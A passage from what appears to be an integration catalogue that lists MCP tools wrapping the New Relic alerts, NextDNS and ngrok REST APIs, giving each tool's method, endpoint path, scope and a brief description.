mobile_metric. name: A title for your condition. enabled: The status of your condition (optional). entities: An array of instance IDs associated with your condition. metric: The metric field accepts parameters based on the condition type selected as follows: When apm_app_metric: apdex, error_percentage, response_time_web, response_time_background, throughput_web, throughput_background, user_defined. When apm_kt_metric: apdex, error_percentage, error_count, response_time, throughput. When servers_metric: cpu_percentage, disk_io_percentage, memory_percentage, fullest_disk_percentage, load_average_one_minute, user_defined. When browser_metric: end_user_apdex, total_page_load, page_rendering, web_application, network, dom_processing, request_queuing, ajax_response_time, page_views_with_js_errors, page_view_throughput, ajax_throughput, user_defined. When mobile_metric: database, images, json, network, view_loading, network_error_percentage, status_error_percentage, mobile_crash_rate, user_defined. condition_scope: Set to either instance to target a Java application instance or application for a Java app. violation_close_timer (in hours): 1, 2, 4, 8, 12, 24. Duration after which instance-based (including JVM health metric) violations will automatically close. runbook_url: Runbook URL to display in notifications (optional). terms[duration] (in minutes): 5, 10, 15, 30, 60, 120. terms[operator]: above, below, equal. terms[priority]: critical, warning. terms[threshold]: Must be 0 or greater. terms[time_function]: all, any. user_defined[metric]: A custom metric to be evaluated. user_defined[value_function]: average, min, max, total, sample_size. via POST /alerts_conditions/policies/{policy_id}.json POST /api/v1/newrelic/alerts_conditions/policies/{policy_id}.json. Scopes: api. newrelic_post_alerts_external_service_conditions_policies_by_policy_id_json (write) — Create -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to create external service conditions for your alert policies. Note: Admin User’s API Key is required. See our documentation for a discussion on creating conditions for external services. All fields are required except for “runbook_url”, “enabled” (defaults to false). type: apm_external_service, mobile_external_service. name: A title for your condition. enabled: The status of your condition (optional). entities: An array of instance IDs associated with your condition. external_service_url: The URL of the external service. Must not include protocol (“example.com”, not “https://example.com”) metric: The metric field accepts parameters based on the condition type selected as follows: When apm_external_service: response_time_average, response_time_minimum, response_time_maximum, throughput. When mobile_external_service: response_time_average, response_time_minimum, response_time_maximum, throughput, network_failure_percentage, http_status_error_percentage. runbook_url: Runbook URL to display in notifications (optional). terms[duration] (in minutes): 5, 10, 15, 30, 60, 120. terms[operator]: above, below, equal. terms[priority]: critical, warning. terms[threshold]: Must be 0 or greater. terms[time_function]: all, any. via POST /alerts_external_service_conditions/policies/{policy_id}.json POST /api/v1/newrelic/alerts_external_service_conditions/policies/{policy_id}.json. Scopes: api. newrelic_post_alerts_location_failure_conditions_policies_by_policy_id_json (write) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. Create -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to create the alerts location failure conditions for your Alerts policy. via POST /alerts_location_failure_conditions/policies/{policy_id}.json POST /api/v1/newrelic/alerts_location_failure_conditions/policies/{policy_id}.json. Scopes: api. newrelic_post_alerts_nrql_conditions_policies_by_policy_id_json (write) — Create -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to create NRQL conditions for your Alerts policy. Note: Admin User’s API Key is required. See our documentation for a discussion on creating conditions for policies. via POST /alerts_nrql_conditions/policies/{policy_id}.json POST /api/v1/newrelic/alerts_nrql_conditions/policies/{policy_id}.json. Scopes: api. newrelic_post_alerts_policies_json (write) — Create -- New users should use these docs about managing alerts via NerdGraph. This API endpoint works with new Alerts on alerts.newrelic.com. This Alerts API endpoint creates a policy associated with your New Relic account. Note: Admin User’s API Key is required. Rollup stategy options: PER_POLICY PER_CONDITION PER_CONDITION_AND_TARGET See our documentation for a discussion on using the REST API for creating new policies. via POST /alerts_policies.json POST /api/v1/newrelic/alerts_policies.json. Scopes: api. newrelic_post_alerts_synthetics_conditions_policies_by_policy_id_json (write) — Create -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to create Synthetics conditions for your alert policies. Note: Admin User’s API Key is required. See our documentation for a discussion on creating Synthetic conditions. All fields are required except for “runbook_url”, “enabled” (defaults to false). name: A title for your condition. monitor_id: The GUID of the Synthetics monitor to alert on. runbook_url: Runbook URL to display in notifications (optional). enabled: The status of your condition (optional). via POST /alerts_synthetics_conditions/policies/{policy_id}.json POST /api/v1/newrelic/alerts_synthetics_conditions/policies/{policy_id}.json. Scopes: api. newrelic_post_applications_by_application_id_deployments_json (write) — Create -- This API endpoint creates a deployment record for a given application. Deployment records are created with the following attributes: Required: - Application ID - Revision, such as a git SHA Optional: - Changelog - Description - User posting the deployment Note that the time of your deployment will be recorded as the current time in UTC. via POST /applications/{application_id}/deployments.json POST /api/v1/newrelic/applications/{application_id}/deployments.json. Scopes: api. newrelic_put_alerts_conditions_by_condition_id_json (write) — Update -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to update APM Application and Key Transaction, Browser and Mobile application metric conditions for your alert policies. Conditions for web transaction percentiles, or conditions targeting labels (dynamic targeting), are not available. Note: Admin User’s API Key is required. See Alerts Conditions > Create for an explanation of the field values or the online documentation on updating conditions for policies. via PUT /alerts_conditions/{condition_id}.json PUT /api/v1/newrelic/alerts_conditions/{condition_id}.json. Scopes: api. newrelic_put_alerts_entity_conditions_by_entity_id_json (write) — Add -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to add an entity to a specified Alerts condition. Note: Admin User’s API Key is required. Entity type options (Synthetics is not yet supported): BrowserApplication Application MobileApplication Server KeyTransaction via PUT /alerts_entity_conditions/{entity_id}.json PUT /api/v1/newrelic/alerts_entity_conditions/{entity_id}.json. Scopes: api. newrelic_put_alerts_external_service_conditions_by_condition_id_json (write) — Update -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to update external service conditions for your alert policies. Note: Admin User’s API Key is required. See Alerts External Service Conditions > Create for an explanation of the field values used in this command or the online documentation on updating conditions for external services. via PUT /alerts_external_service_conditions/{condition_id}.json PUT /api/v1/newrelic/alerts_external_service_conditions/{condition_id}.json. Scopes: api. newrelic_put_alerts_location_failure_conditions_by_condition_id_json (write) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. Update -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to update the alerts location failure conditions for your Alerts policy. via PUT /alerts_location_failure_conditions/{condition_id}.json PUT /api/v1/newrelic/alerts_location_failure_conditions/{condition_id}.json. Scopes: api. newrelic_put_alerts_nrql_conditions_by_condition_id_json (write) — Update -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to update NRQL conditions for your Alerts policy. NRQL Baseline conditions are not available. Note: Admin User’s API Key is required. See Alerts NRQL Conditions > Create for an explanation of the field values. via PUT /alerts_nrql_conditions/{condition_id}.json PUT /api/v1/newrelic/alerts_nrql_conditions/{condition_id}.json. Scopes: api. newrelic_put_alerts_policies_by_policy_id_json (write) — Update -- New users should use these docs about managing alerts via NerdGraph. This API endpoint updates Alerts policies associated with your New Relic account. Note: Admin User’s API Key is required. See our documentation for a discussion on using the REST API for updating policies. via PUT /alerts_policies/{policy_id}.json PUT /api/v1/newrelic/alerts_policies/{policy_id}.json. Scopes: api. newrelic_put_alerts_policy_channels_json (write) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. Update -- New users should use these docs about managing alerts via NerdGraph. This API endpoint updates policy/channel associations. Note: Admin User’s API Key is required. See our documentation for a discussion on updating notification channels with policies. via PUT /alerts_policy_channels.json PUT /api/v1/newrelic/alerts_policy_channels.json. Scopes: api. newrelic_put_alerts_synthetics_conditions_by_condition_id_json (write) — Update -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to update Synthetics conditions for your alert policies. Note: Admin User’s API Key is required. See our documentation for a discussion on updating Synthetic conditions. See Alerts Synthetics Conditions > Create for an explanation of the field values used in this command. via PUT /alerts_synthetics_conditions/{condition_id}.json PUT /api/v1/newrelic/alerts_synthetics_conditions/{condition_id}.json. Scopes: api. newrelic_put_applications_by_id_json (write) — Update -- This API endpoint allows you to update certain parameters of your application. The input is expected to be in JSON or XML format in the body parameter of the PUT request. The exact schema is defined below. Any extra parameters passed in the body will be ignored. See our documentation for a discussion and simple example of updating an application. via PUT /applications/{id}.json PUT /api/v1/newrelic/applications/{id}.json. Scopes: api. ================================================================================ ## NextDNS URL: https://www.agenticfabriq.com/integrations/nextdns Section: Integrated Tools NextDNS — 43 MCP tools Provider key: nextdns. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. nextdns_delete_profiles_by_profile (write, destructive) — Delete profile via DELETE /profiles/{profile} DELETE /api/v1/nextdns/profiles/{profile}. Scopes: api. nextdns_delete_profiles_by_profile_denylist_by_id (write, destructive) — Delete denylist entry via DELETE /profiles/{profile}/denylist/{id} DELETE /api/v1/nextdns/profiles/{profile}/denylist/{id}. Scopes: api. nextdns_delete_profiles_by_profile_logs (write, destructive) — Clear logs via DELETE /profiles/{profile}/logs DELETE /api/v1/nextdns/profiles/{profile}/logs. Scopes: api. nextdns_delete_profiles_by_profile_privacy_blocklists_by_id (write, destructive) — Delete privacy blocklist via DELETE /profiles/{profile}/privacy/blocklists/{id} DELETE /api/v1/nextdns/profiles/{profile}/privacy/blocklists/{id}. Scopes: api. nextdns_get_profiles_by_profile (read) — Get profile via GET /profiles/{profile} GET /api/v1/nextdns/profiles/{profile}. Scopes: api. nextdns_get_profiles_by_profile_analytics_destinations (read) — Get analytics destinations via GET /profiles/{profile}/analytics/destinations GET /api/v1/nextdns/profiles/{profile}/analytics/destinations. Scopes: api. nextdns_get_profiles_by_profile_analytics_destinations_series (read) — Get analytics destinations series via GET /profiles/{profile}/analytics/destinations;series GET /api/v1/nextdns/profiles/{profile}/analytics/destinations;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_devices (read) — Get analytics devices via GET /profiles/{profile}/analytics/devices GET /api/v1/nextdns/profiles/{profile}/analytics/devices. Scopes: api. nextdns_get_profiles_by_profile_analytics_devices_series (read) — Get analytics devices series via GET /profiles/{profile}/analytics/devices;series GET /api/v1/nextdns/profiles/{profile}/analytics/devices;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_dnssec (read) — Get analytics dnssec via GET /profiles/{profile}/analytics/dnssec GET /api/v1/nextdns/profiles/{profile}/analytics/dnssec. Scopes: api. nextdns_get_profiles_by_profile_analytics_dnssec_series (read) — Get analytics dnssec series via GET /profiles/{profile}/analytics/dnssec;series GET /api/v1/nextdns/profiles/{profile}/analytics/dnssec;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_domains (read) — Get analytics domains via GET /profiles/{profile}/analytics/domains GET /api/v1/nextdns/profiles/{profile}/analytics/domains. Scopes: api. nextdns_get_profiles_by_profile_analytics_domains_series (read) — Get analytics domains series via GET /profiles/{profile}/analytics/domains;series GET /api/v1/nextdns/profiles/{profile}/analytics/domains;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_encryption (read) — Get analytics encryption via GET /profiles/{profile}/analytics/encryption GET /api/v1/nextdns/profiles/{profile}/analytics/encryption. Scopes: api. nextdns_get_profiles_by_profile_analytics_encryption_series (read) — Get analytics encryption series via GET /profiles/{profile}/analytics/encryption;series GET /api/v1/nextdns/profiles/{profile}/analytics/encryption;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_ips (read) — Get analytics ips via GET /profiles/{profile}/analytics/ips GET /api/v1/nextdns/profiles/{profile}/analytics/ips. Scopes: api. nextdns_get_profiles_by_profile_analytics_ips_series (read) — Get analytics ips series via GET /profiles/{profile}/analytics/ips;series GET /api/v1/nextdns/profiles/{profile}/analytics/ips;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_ipversions (read) — Get analytics ip versions via GET /profiles/{profile}/analytics/ipVersions GET /api/v1/nextdns/profiles/{profile}/analytics/ipVersions. Scopes: api. nextdns_get_profiles_by_profile_analytics_ipversions_series (read) — Get analytics ip versions series via GET /profiles/{profile}/analytics/ipVersions;series GET /api/v1/nextdns/profiles/{profile}/analytics/ipVersions;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_protocols (read) — Get analytics protocols via GET /profiles/{profile}/analytics/protocols GET /api/v1/nextdns/profiles/{profile}/analytics/protocols. Scopes: api. nextdns_get_profiles_by_profile_analytics_protocols_series (read) — Get analytics protocols series via GET /profiles/{profile}/analytics/protocols;series GET /api/v1/nextdns/profiles/{profile}/analytics/protocols;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_querytypes (read) — Get analytics query types via GET /profiles/{profile}/analytics/queryTypes GET /api/v1/nextdns/profiles/{profile}/analytics/queryTypes. Scopes: api. nextdns_get_profiles_by_profile_analytics_querytypes_series (read) — Get analytics query types series via GET /profiles/{profile}/analytics/queryTypes;series GET /api/v1/nextdns/profiles/{profile}/analytics/queryTypes;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_reasons (read) — Get analytics reasons via GET /profiles/{profile}/analytics/reasons GET /api/v1/nextdns/profiles/{profile}/analytics/reasons. Scopes: api. nextdns_get_profiles_by_profile_analytics_reasons_series (read) — Get analytics reasons series via GET /profiles/{profile}/analytics/reasons;series GET /api/v1/nextdns/profiles/{profile}/analytics/reasons;series. Scopes: api. nextdns_get_profiles_by_profile_analytics_status (read) — Get analytics status via GET /profiles/{profile}/analytics/status GET /api/v1/nextdns/profiles/{profile}/analytics/status. Scopes: api. nextdns_get_profiles_by_profile_analytics_status_series (read) — Get analytics status series via GET /profiles/{profile}/analytics/status;series GET /api/v1/nextdns/profiles/{profile}/analytics/status;series. Scopes: api. nextdns_get_profiles_by_profile_denylist (read) — List denylist via GET /profiles/{profile}/denylist GET /api/v1/nextdns/profiles/{profile}/denylist. Scopes: api. nextdns_get_profiles_by_profile_logs (read) — List logs via GET /profiles/{profile}/logs GET /api/v1/nextdns/profiles/{profile}/logs. Scopes: api. nextdns_get_profiles_by_profile_logs_download (read) — Download logs via GET /profiles/{profile}/logs/download GET /api/v1/nextdns/profiles/{profile}/logs/download. Scopes: api. nextdns_get_profiles_by_profile_privacy (read) — Get privacy settings via GET /profiles/{profile}/privacy GET /api/v1/nextdns/profiles/{profile}/privacy. Scopes: api. nextdns_get_profiles_by_profile_privacy_blocklists (read) — List privacy blocklists via GET /profiles/{profile}/privacy/blocklists GET /api/v1/nextdns/profiles/{profile}/privacy/blocklists. Scopes: api. nextdns_get_profiles_by_profile_settings_performance (read) — Get performance settings via GET /profiles/{profile}/settings/performance GET /api/v1/nextdns/profiles/{profile}/settings/performance. Scopes: api. nextdns_patch_profiles_by_profile (write) — Update profile via PATCH /profiles/{profile} PATCH /api/v1/nextdns/profiles/{profile}. Scopes: api. nextdns_patch_profiles_by_profile_denylist_by_id (write) — Update denylist entry via PATCH /profiles/{profile}/denylist/{id} PATCH /api/v1/nextdns/profiles/{profile}/denylist/{id}. Scopes: api. nextdns_patch_profiles_by_profile_privacy (write) — Update privacy settings via PATCH /profiles/{profile}/privacy PATCH /api/v1/nextdns/profiles/{profile}/privacy. Scopes: api. nextdns_patch_profiles_by_profile_privacy_blocklists_by_id (write) — Update privacy blocklist via PATCH /profiles/{profile}/privacy/blocklists/{id} PATCH /api/v1/nextdns/profiles/{profile}/privacy/blocklists/{id}. Scopes: api. nextdns_patch_profiles_by_profile_settings_performance (write) — Update performance settings via PATCH /profiles/{profile}/settings/performance PATCH /api/v1/nextdns/profiles/{profile}/settings/performance. Scopes: api. nextdns_post_profiles (write) — Create profile via POST /profiles POST /api/v1/nextdns/profiles. Scopes: api. nextdns_post_profiles_by_profile_denylist (write) — Add denylist entry via POST /profiles/{profile}/denylist POST /api/v1/nextdns/profiles/{profile}/denylist. Scopes: api. nextdns_post_profiles_by_profile_privacy_blocklists (write) — Add privacy blocklist via POST /profiles/{profile}/privacy/blocklists POST /api/v1/nextdns/profiles/{profile}/privacy/blocklists. Scopes: api. nextdns_put_profiles_by_profile_denylist (write) — Replace denylist via PUT /profiles/{profile}/denylist PUT /api/v1/nextdns/profiles/{profile}/denylist. Scopes: api. nextdns_put_profiles_by_profile_privacy_blocklists (write) — Replace privacy blocklists via PUT /profiles/{profile}/privacy/blocklists PUT /api/v1/nextdns/profiles/{profile}/privacy/blocklists. Scopes: api. ================================================================================ ## ngrok URL: https://www.agenticfabriq.com/integrations/ngrok Section: Integrated Tools ngrok — 251 MCP tools Provider key: ngrok. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. ngrok_delete_agent_ingresses_by_id (write, destructive) — Agent Ingresses: Delete -- Delete an Agent Ingress by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /agent_ingresses/{id} DELETE /api/v1/ngrok/agent_ingresses/{id}. Scopes: api. ngrok_delete_ai_gateway_api_keys_by_id (write, destructive) — AI Gateway API Keys: Delete -- Delete an AI Gateway API Key. Answers 204 with no content on success; this tool returns {}. via DELETE /ai_gateway_api_keys/{id} DELETE /api/v1/ngrok/ai_gateway_api_keys/{id}. Scopes: api. ngrok_delete_ai_gateway_provider_keys_by_id (write, destructive) — AI Gateway Provider Keys: Delete -- Delete an AI Gateway Provider Key. Answers 204 with no content on success; this tool returns {}. via DELETE /ai_gateway_provider_keys/{id} DELETE /api/v1/ngrok/ai_gateway_provider_keys/{id}. Scopes: api. ngrok_delete_api_keys_by_id (write, destructive) — API Keys: Delete -- Delete an API key by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /api_keys/{id} DELETE /api/v1/ngrok/api_keys/{id}. Scopes: api. ngrok_delete_app_sessions_by_id (write, destructive) — Application Sessions: Delete -- Delete an application session by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /app/sessions/{id} DELETE /api/v1/ngrok/app/sessions/{id}. Scopes: api. ngrok_delete_app_users_by_id (write, destructive) — Application Users: Delete -- Delete an application user by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /app/users/{id} DELETE /api/v1/ngrok/app/users/{id}. Scopes: api. ngrok_delete_backends_failover_by_id (write, destructive) — Failover Backends: Delete -- Delete a Failover backend by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /backends/failover/{id} DELETE /api/v1/ngrok/backends/failover/{id}. Scopes: api. ngrok_delete_backends_http_response_by_id (write, destructive) — HTTP Response Backends: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /backends/http_response/{id} DELETE /api/v1/ngrok/backends/http_response/{id}. Scopes: api. ngrok_delete_backends_static_by_id (write, destructive) — Static Backends: Delete -- Delete a static backend by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /backends/static/{id} DELETE /api/v1/ngrok/backends/static/{id}. Scopes: api. ngrok_delete_backends_tunnel_group_by_id (write, destructive) — Tunnel Group Backends: Delete -- Delete a TunnelGroup backend by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /backends/tunnel_group/{id} DELETE /api/v1/ngrok/backends/tunnel_group/{id}. Scopes: api. ngrok_delete_backends_weighted_by_id (write, destructive) — Weighted Backends: Delete -- Delete a Weighted backend by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /backends/weighted/{id} DELETE /api/v1/ngrok/backends/weighted/{id}. Scopes: api. ngrok_delete_bot_users_by_id (write, destructive) — Bot Users: Delete -- Delete a bot user by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /bot_users/{id} DELETE /api/v1/ngrok/bot_users/{id}. Scopes: api. ngrok_delete_certificate_authorities_by_id (write, destructive) — Certificate Authorities: Delete -- Delete a Certificate Authority. Answers 204 with no content on success; this tool returns {}. via DELETE /certificate_authorities/{id} DELETE /api/v1/ngrok/certificate_authorities/{id}. Scopes: api. ngrok_delete_credentials_by_id (write, destructive) — Credentials: Delete -- Delete a tunnel authtoken credential by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /credentials/{id} DELETE /api/v1/ngrok/credentials/{id}. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id (write, destructive) — HTTPS Edge Routes: Delete -- Delete an HTTPS Edge Route by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id} DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_backend (write, destructive) — Edge Route Backend Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/backend DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/backend. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_circuit_breaker (write, destructive) — Edge Route Circuit Breaker Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/circuit_breaker DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/circuit_breaker. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_compression (write, destructive) — Edge Route Compression Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/compression DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/compression. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_ip_restriction (write, destructive) — Edge Route IP Restriction Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/ip_restriction DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/ip_restriction. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_oauth (write, destructive) — Edge Route OAuth Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/oauth DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/oauth. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_oidc (write, destructive) — Edge Route OIDC Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/oidc DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/oidc. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_request_headers (write, destructive) — Edge Route Request Headers Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/request_headers DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/request_headers. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_response_headers (write, destructive) — Edge Route Response Headers Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/response_headers DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/response_headers. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_saml (write, destructive) — Edge Route SAML Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/saml DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/saml. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_traffic_policy (write, destructive) — Edge Route Traffic Policy Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/traffic_policy DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/traffic_policy. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_user_agent_filter (write, destructive) — Edge Route User Agent Filter Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/user_agent_filter DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/user_agent_filter. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_webhook_verification (write, destructive) — Edge Route Webhook Verification Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/webhook_verification DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/webhook_verification. Scopes: api. ngrok_delete_edges_https_by_edge_id_routes_by_id_websocket_tcp_converter (write, destructive) — Edge Route Websocket TCP Converter Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{edge_id}/routes/{id}/websocket_tcp_converter DELETE /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/websocket_tcp_converter. Scopes: api. ngrok_delete_edges_https_by_id (write, destructive) — HTTPS Edges: Delete -- Delete an HTTPS Edge by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{id} DELETE /api/v1/ngrok/edges/https/{id}. Scopes: api. ngrok_delete_edges_https_by_id_mutual_tls (write, destructive) — HTTPS Edge Mutual TLS Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{id}/mutual_tls DELETE /api/v1/ngrok/edges/https/{id}/mutual_tls. Scopes: api. ngrok_delete_edges_https_by_id_tls_termination (write, destructive) — HTTPS Edge TLS Termination Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/https/{id}/tls_termination DELETE /api/v1/ngrok/edges/https/{id}/tls_termination. Scopes: api. ngrok_delete_edges_tcp_by_id (write, destructive) — TCP Edges: Delete -- Delete a TCP Edge by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tcp/{id} DELETE /api/v1/ngrok/edges/tcp/{id}. Scopes: api. ngrok_delete_edges_tcp_by_id_backend (write, destructive) — TCP Edge Backend Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tcp/{id}/backend DELETE /api/v1/ngrok/edges/tcp/{id}/backend. Scopes: api. ngrok_delete_edges_tcp_by_id_ip_restriction (write, destructive) — TCP Edge IP Restriction Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tcp/{id}/ip_restriction DELETE /api/v1/ngrok/edges/tcp/{id}/ip_restriction. Scopes: api. ngrok_delete_edges_tcp_by_id_traffic_policy (write, destructive) — TCP Edge Traffic Policy Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tcp/{id}/traffic_policy DELETE /api/v1/ngrok/edges/tcp/{id}/traffic_policy. Scopes: api. ngrok_delete_edges_tls_by_id (write, destructive) — TLS Edges: Delete -- Delete a TLS Edge by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tls/{id} DELETE /api/v1/ngrok/edges/tls/{id}. Scopes: api. ngrok_delete_edges_tls_by_id_backend (write, destructive) — TLS Edge Backend Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tls/{id}/backend DELETE /api/v1/ngrok/edges/tls/{id}/backend. Scopes: api. ngrok_delete_edges_tls_by_id_ip_restriction (write, destructive) — TLS Edge IP Restriction Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tls/{id}/ip_restriction DELETE /api/v1/ngrok/edges/tls/{id}/ip_restriction. Scopes: api. ngrok_delete_edges_tls_by_id_mutual_tls (write, destructive) — TLS Edge Mutual TLS Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tls/{id}/mutual_tls DELETE /api/v1/ngrok/edges/tls/{id}/mutual_tls. Scopes: api. ngrok_delete_edges_tls_by_id_tls_termination (write, destructive) — TLS Edge TLS Termination Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tls/{id}/tls_termination DELETE /api/v1/ngrok/edges/tls/{id}/tls_termination. Scopes: api. ngrok_delete_edges_tls_by_id_traffic_policy (write, destructive) — TLS Edge Traffic Policy Module: Delete. Answers 204 with no content on success; this tool returns {}. via DELETE /edges/tls/{id}/traffic_policy DELETE /api/v1/ngrok/edges/tls/{id}/traffic_policy. Scopes: api. ngrok_delete_endpoints_by_id (write, destructive) — Endpoints: Delete -- Delete an Endpoint by ID, currently available only for cloud endpoints. Answers 204 with no content on success; this tool returns {}. via DELETE /endpoints/{id} DELETE /api/v1/ngrok/endpoints/{id}. Scopes: api. ngrok_delete_event_destinations_by_id (write, destructive) — Event Destinations: Delete -- Delete an Event Destination. If the Event Destination is still referenced by an Event Subscription. Answers 204 with no content on success; this tool returns {}. via DELETE /event_destinations/{id} DELETE /api/v1/ngrok/event_destinations/{id}. Scopes: api. ngrok_delete_event_subscriptions_by_id (write, destructive) — Event Subscriptions: Delete -- Delete an Event Subscription. Answers 204 with no content on success; this tool returns {}. via DELETE /event_subscriptions/{id} DELETE /api/v1/ngrok/event_subscriptions/{id}. Scopes: api. ngrok_delete_event_subscriptions_by_subscription_id_sources_by_type (write, destructive) — Event Sources: Delete -- Remove a type for which this event subscription will trigger. Answers 204 with no content on success; this tool returns {}. via DELETE /event_subscriptions/{subscription_id}/sources/{type} DELETE /api/v1/ngrok/event_subscriptions/{subscription_id}/sources/{type}. Scopes: api. ngrok_delete_ip_policies_by_id (write, destructive) — IP Policies: Delete -- Delete an IP policy. If the IP policy is referenced by another object for the purposes of traffic restriction it will be treated as if the IP policy remains but has zero rules. Answers 204 with no content on success; this tool returns {}. via DELETE /ip_policies/{id} DELETE /api/v1/ngrok/ip_policies/{id}. Scopes: api. ngrok_delete_ip_policy_rules_by_id (write, destructive) — IP Policy Rules: Delete -- Delete an IP policy rule. Answers 204 with no content on success; this tool returns {}. via DELETE 